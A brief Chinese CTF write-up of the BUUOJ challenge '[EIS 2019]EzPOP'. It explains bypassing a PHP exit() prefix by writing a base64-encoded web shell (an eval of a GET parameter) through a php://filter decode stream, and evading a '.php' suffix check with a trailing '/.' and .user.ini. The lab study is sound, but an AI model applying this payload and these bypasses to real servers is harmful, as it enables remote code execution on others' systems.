刷题记录：[EIS 2019]EzPOP

刷题记录：[EIS 2019]EzPOP

题目复现链接：https://buuoj.cn/challenges

知识点

编码写shell绕过

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

file_put_contents是支持各种协议的，这样就可以将base64编码过的shell传入$data，使用php://filter/write=convert.base64-decode/resource=写入文件

base64工作机制

首先base64只包含[a-zA-Z1-9]+/共64个字符

• 编码时
  把明文每8位按6位查表转码，不足的位数用=补0
• 解码时
  忽略[",:等64个字符之外的字符，然后逆运算就行
  

本题中json_encode后的payload是
["11",{"aa":{"path":"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"}}]
其中11和aa位置是可控的，去掉无效字符后，payload为
11aapath PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
这里是6位查表转8位，所以要求编码为4的倍数

绕过后缀名检查

红包题中，增加了判断条件

if(substr($cache_filename, -strlen('.php')) === '.php') {
        die('?');
}

这里可以在文件名后面加/.，即设置文件名为xxx.php/.
这里我是配合.user.inigetshell的